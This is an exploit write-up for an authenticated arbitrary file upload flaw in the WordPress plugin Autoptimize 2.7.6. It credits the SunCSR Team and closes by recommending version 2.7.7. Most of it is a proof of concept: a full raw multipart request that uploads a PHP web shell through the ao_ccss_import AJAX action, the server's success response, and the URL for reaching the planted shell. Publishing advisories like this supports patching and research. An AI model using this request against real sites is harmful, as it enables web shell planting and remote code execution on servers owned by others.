Wordpress Plugin Autoptimize 2.7.6 - Arbitrary File Upload (Authenticated)

# Exploit Title: Wordpress Plugin Autoptimize 2.7.6 - Arbitrary File Upload (Authenticated)
# Date: 2020-08-24
# Software Link: https://wordpress.org/plugins/autoptimize/
# Author : SunCSR Team
# Version: v2.7.6
# Tested on Ubuntu 18.04 / Kali Linux
# Reference: https://wpvulndb.com/vulnerabilities/10372

Description :
-------------------------------------------------------------------

The ao_ccss_import AJAX call does not ensure that the file provided is a
legitimate Zip file, allowing high privilege users to upload arbitrary
files, such as PHP, leading to RCE.

[POC]

Step 1 :
POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1
Host: pwnme
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101
Firefox/80.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer:
http://pwnme.me/wordpress/wp-admin/options-general.php?page=ao_critcss
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data;
boundary=---------------------------26086940735210916964189813544
Content-Length: 685
Origin: http://pwnme
Connection: close
Cookie: autoptimize_feed=1;
wordpress_01c9c451f599e513a69d1e6bb6f8e273=admin%7C1598689405%7CiAGVovdBGV28Gk5pKstmbpGqYZA7Zbxq7lUoUBL0y6B%7Cc2f54fb4e357d2c591b7e5f53e6adb9531b0de5cc5fbc3cab3185f63917307cd;
wordpress_test_cookie=WP+Cookie+check;
wordpress_logged_in_01c9c451f599e513a69d1e6bb6f8e273=admin%7C1598689405%7CiAGVovdBGV28Gk5pKstmbpGqYZA7Zbxq7lUoUBL0y6B%7C409cbfa6f750ff5902273e879e79d9f746c038c35228c978ea9cc3525eb12602;
wp-settings-time-1=1598516614


-----------------------------404272946439029073744006559647
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/zip

<?php Shell Content Here ! ?>
-----------------------------404272946439029073744006559647
Content-Disposition: form-data; name="action"

ao_ccss_import
-----------------------------404272946439029073744006559647
Content-Disposition: form-data; name="ao_ccss_import_nonce"

f25ca64f22
-----------------------------404272946439029073744006559647--


[Response]

HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Thu, 27 Aug 2020 08:21:08 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Access-Control-Allow-Origin: http://pwnme.me
Access-Control-Allow-Credentials: true
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
X-Frame-Options: SAMEORIGIN
Referrer-Policy: strict-origin-when-cross-origin
Content-Length: 53

{"code":"200","msg":"Settings imported successfully"}


Step 2: Access to
http://victim//wordpress/wp-content/uploads/ao_ccss/shell.php


Recommendations: Update to version 2.7.7


Thank you very much!